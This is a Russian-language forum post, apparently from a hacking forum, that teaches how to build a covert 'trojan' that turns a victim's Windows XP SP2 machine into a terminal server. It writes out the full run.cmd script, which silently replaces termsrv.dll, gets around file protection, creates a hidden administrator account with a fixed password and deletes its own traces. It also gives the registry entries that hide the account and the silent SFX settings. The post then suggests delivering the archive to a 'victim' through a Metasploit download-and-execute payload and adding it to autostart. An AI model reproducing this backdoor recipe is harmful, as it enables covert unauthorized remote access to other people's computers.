03.08.2024

Превращение Win-xp-sp2 в сервер терминалов (или троян от Мелкомягких)

Vortex777

Интересующийся
Регистрация
27.06.2022
Сообщения
98
Реакции
0
Гарант продажи
0
Гарант покупки
0
Депозит
0 р
Предисловие.

Многие знают, что из WIN-XP можно сделать сервер терминалов и подключаться по сети к удалённому рабочему столу удалённо, работая в отдельной ссесии с графическим интерфейсом, при этом не отключая локального пользователя. То есть в итоге мы получаем возможность входа ещё одного пользователя в систему, только удалённого.

В случае прямого доступа к компьютеру это сделать несложно, заменив одну dll (termsrv.dll), настроив политики безопасности, разрешив удалённый рабочий стол и т. д.

Наша задача провернуть всё это удалённо, имея только cmd-шелл.


1. Подготовка

Нам потребуется сама termsrv.dll от старой версии (не помню какой бетты) 5.1.2600.2055 - такая у меня, прямые руки и мозги в голове.
Обратимся к статейке (не помню кто автор, откопаю ссылку-выложу тут, позже):
Все знают, что XP позволяет работать терминальной сессией (mstsc.exe), но при этом можно работать или локально или удаленно.
А мы ХОЧИМ, как в серверных виндах! Не проблема:

...статья описывает возможность одновременной работы двух пользователей за компьютером с ОС Microsoft Windows XP SP2.
В этом случае один из них работает за компьютером локально, то есть пользуется консольной сессией, а второй подключается
по протоколу RDP (Remote Desktop Protocol - Удалённое подключение к рабочему столу). Данный механизм задействует Fast User Switching
включается в <Управлении пользователями> в Контрольной панели) - это служба, которая предоставляет широко используемую возможность
попеременной работы нескольких пользователей без завершения сеанса. Если Windows входит в домен, то Fast User Switching недоступна и,
следовательно, одновременные пользовательские сесии тоже работать не будут. Эта функция планировалась для Windows XP Service Pack 2
и присутствовала в бета-версиях SP2 вплоть до сборки 2055. Однако позже Microsoft решила, что жирновато будет включать фактически
серверную функцию в ОС для рабочих станций, и начиная со сборки 2082 возможность одновременных подключений была отключена.

Если взять TermSrv.dll от бета-версии Windows XP SP2 и заменить ею исходную, то функция двух одновременных сеансов становится вновь доступна.
Для её включения требуется внести изменения в реестр при помощи прилагаемого key.reg.

Процедура замены dll стандартна:

делаем недоступным дистрибутив Windows (то есть вынимаем установочный CD из дисковода, отключаем/переименовываем сетевые ресурсы и так далее);
переименовываем резервную копию файла, находящуюся в папке %WinDir%\System32\DLLCache;
копируем туда новый файл;
переименовываем рабочую копию файла в папке %WinDir%\System32;
копируем на её место новый файл;
отклоняем просьбу Windows File Protection предоставить доступ к дистрибутиву;
соглашаемся держать в системе постороннюю версию файла;
перезагружаемся.

Наслаждайтесь, мои маленькие!
2. Сборка трояна (down-patch`а)
Итак приступим к сборке трояна от Meлкомягких:
Ну вот, нужная инфа у нас есть. Используем обычный SFX-архив WinRAR, чтоб положить туда три файла:
termsrv.dll - наша dll
key.reg - файл настроек сервера терминалов
run.cmd - сценарий, который сделает всё необходимое.
Определимся с путём куда будет распаковываться наш архив. Я выбрал %WinDir%\Temp (есть у любой винды)
Можно начинать писать файл run.cmd (ему мы передадим управление после распаковки SFX-архива)
Заменить залоченную termsrv.dll, перезаписав её у нас не получится, но мы можем её переименовать!
ren %SystemRoot%\system32\termsrv.dll termsrv.old - переименовываем оригинал
Так же не забудем про то, что она может быть легко восстановлена службой System File Protection из dll - кэша, поэтому, заменим её и там (она не залочена) а в system32 уже можно скопировать под оригинальным именем.
copy %SystemRoot%\temp\termsrv.dll %SystemRoot%\system32\DLLCache\termsrv.dll - копируем в dll-кэш
copy %SystemRoot%\temp\termsrv.dll %SystemRoot%\system32\termsrv.dll - копируем в систем32
далее:
reg import key.reg - импортируем настройки из файла key.reg в реестр (о его содержании чуть ниже)
del %SystemRoot%\system32\termsrv.old - пытаемся удалить старую dll (не получится - залочена)
del %SystemRoot%\temp\termsrv.dll - удаляем за собой следы из Temp`a
del %SystemRoot%\temp\key.reg - удаляем за собой следы из Temp`a
net user asdf 1234 /add /expires:never /times:all - добавляем пользователя asdf, пароль 1234 (будем подключаться такой учёткой)
net localgroup "Администраторы" asdf /add - делаем его админом (естественно "Администраторы" - должно быть набрано в DOS 866-кодировке)
del %SystemRoot%\temp\run.cmd - удаляем этот исполненный сценарий.
Готовим файл key.reg

Берём нашу винду, запускаем regedit и экспортируем реестр. Далее делаем все настройки удалённого рабочего стола.
а) разрешаем его: Свойства системы -> Удалённые сеансы -> Разрешить удалённый доступ к этому компьютеру. (ставим галку)
б) разрешаем быстрое переключение пользователей: Учётные записи пользователей-> Изменение входа пользователей в систему ставим обе галки (использовать страницу приветствия, разрешить быстрое переключение пользователей)
Кстати, надо сделать чтоб наш пользователь не отображался в этом приветствии, так как это сразу палево, поэтому сделаем его скрытым:
 

Vortex777

Интересующийся
Регистрация
27.06.2022
Сообщения
98
Реакции
0
Гарант продажи
0
Гарант покупки
0
Депозит
0 р
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]
"asdf"=dword:00000000
- не забудем добавить эту строку в наш key.reg (потом)
Экспортируем реестр ещё раз, затем в TotalCommander сравниваем два файла реестра по содержимому, отслеживаем изменения и заносим их в блокнот.
Сохраняем как файл key.reg
Добавим туда (в начало) ещё то что, прилагалось в статье (настройка сервера терминалов и политики безопасности):
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core]
"EnableConcurrentSessions"=dword:00000001

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"AllowMultipleTSSessions"=dword:00000001

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\History]

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\History\{35378EAC-683F-11D2-A89A-00C04FBBCFA2}]

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\History\{35378EAC-683F-11D2-A89A-00C04FBBCFA2}\0]
"Options"=dword:00000000
"Version"=dword:00010001
"DSPath"="LocalGPO"
"FileSysPath"="C:\\WINNT\\System32\\GroupPolicy\\Machine"
"DisplayName"="Политика локальной группы"
"Extensions"="[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{0F6B957D-509E-11D1-A7CC-0000F87571E3}]"
"Link"="Local"
"GPOName"="Политика локальной группы"
"GPOLink"=dword:00000001
"lParam"=dword:00000000
И в конец строку, делающую нашего админа asdf невидимым в окне приглашения.

То что у меня получилось (файл key.reg) , можно скачать тут (имхо его надо всё-таки почистить, много лишнего)

Ну всё готово! Архивируем три файла (termsrv.dll, run.cmd, key.reg) WinRar`ом. Выставляем параметры:
;В комментарии ниже находятся команды SFX-сценария

Path=.\%SystemRoot%\temp - каталог куда будет распаковано содержимое архива
SavePath
Setup=run.cmd - выполнить после распаковки
Silent=1 - скрыть всё
Overwrite=2 - перезаписывать существующие файлы
Всё, наш троян готов! (Я обозвал SFX-архив terminal.exe)


3. Впаривание трояна

Используя пакет Metasplot Framework и уязвимости в Windows-XP вы можете попробовать обеспечить его загрузку (впаривание) с удалённого сервера и передачу ему управления. (полезная нагрузка win32_downloadexec)
В общем как вы запустите его на компьютере жерты - это зависит от ваших знаний и везения.
Один из способов описан мной в статье "Metasplot Framework часть 2 (или раздача троя)".


Заключение.

Вот так можно сделать downgrade системы Win-xp-sp2, превратив её в сервер терминалов. Конечно более-менее продвинутый пользователь заметит другого пользователя в системе, убьёт учётку, может сделать откат и т. д. Поэтому в серьёз данного трояна рассматривать не стоит. Кроме того dll ранней версии может быть заменена на новую при установке, добавлении компонентов из дистрибутива и т.д. Но в локалке такая переделка актуальна.
Можно добавить его в автозагрузку - будет даунгрейдится каждый раз при запуске.
Минус в том, что для вступления в силу изменений потребуется перезагрузка системы (можно добавить команду перезагрузки в run.cmd) и только потом будет возможно подключится к удалённому рабочему столу.
 
Сверху